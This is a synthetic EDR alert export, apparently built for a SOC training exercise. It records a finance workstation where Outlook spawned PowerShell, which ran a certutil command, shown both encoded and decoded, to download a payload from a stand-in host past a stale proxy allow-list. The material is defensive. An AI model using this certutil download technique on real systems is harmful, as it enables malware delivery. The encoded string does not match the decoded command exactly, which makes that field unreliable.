

NexaNet EDR Platform Security Operations Centre alert export (1 of 2)	ALERT ID: NX-2026-0810-0042 Case ref: GH-NX-0724
---	--

HIGH	Status: Open, NOT blocked (misconfiguration) Detected: 2026-08-10 07:41:52 UTC
-------------	--

Endpoint & User	
Hostname	LOS-FIN-WS133
Location	Lagos, Finance dept
Operating system	Windows 11 Enterprise 25H2
Internal IP	10.12.4.87
Username	alex.morgan
Department	Finance
Account type	Standard user

Detection details	
Observed process	powershell.exe
Parent process	OUTLOOK.EXE
Process integrity	Medium
Command line (encoded)	Y2VydHV0aWwgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwczovL2Nkbi1hc3NldHMtZGVsaXZlcnuZXhhbXBsZS91cGRhdGUvcGF5bG9hZC5kYXQgQzpcVXNlcnNcUHViVGljXEFwcERhdGFcTG9jYWxcVGVtcFx1cGRhdGUudG1w
Command line (decoded)	certutil -urlcache -split -f https://cdn-assets-delivery.example/update/payload.dat C:\Users\Public\AppData\Local\Temp\update.tmp
MITRE ATT&CK	T1204.002, T1140, T1218.010, T1105

Network connection	
Domain	cdn-assets-delivery.example
Remote IP	192.0.2.77
Protocol/port	HTTPS/443
First seen (UTC)	2026-08-10 07:41:52 UTC
Action taken	ALLOWED, matched stale proxy allow-list entry
Role note	Payload-staging infrastructure only, distinct from the phishing lure domain

Analyst notes	
Notes	Connection to cdn-assets-delivery.example was not blocked at the network layer. Proxy team confirmed the domain pattern matched an allow-list rule added for a legitimate CDN vendor in March and was accidentally never removed. Recommendation: immediate allow-list review across all egress rules. See follow-up alert NX-2026-0810-0043 for endpoint-layer detection of the resulting payload. Domain observed in the outbound network connection matches an indicator previously reported through NexaNet SOAR.

SYNTHETIC TRAINING MATERIAL ONLY

All indicators are fictional and have been generated solely for this controlled exercise. The encoded command line is genuinely decodable (representative of real certutil-abuse tradecraft) but functionally inert: it targets the reserved, non-resolvable .example TLD. IP uses TEST-NET-1 documentation range (RFC 5737).
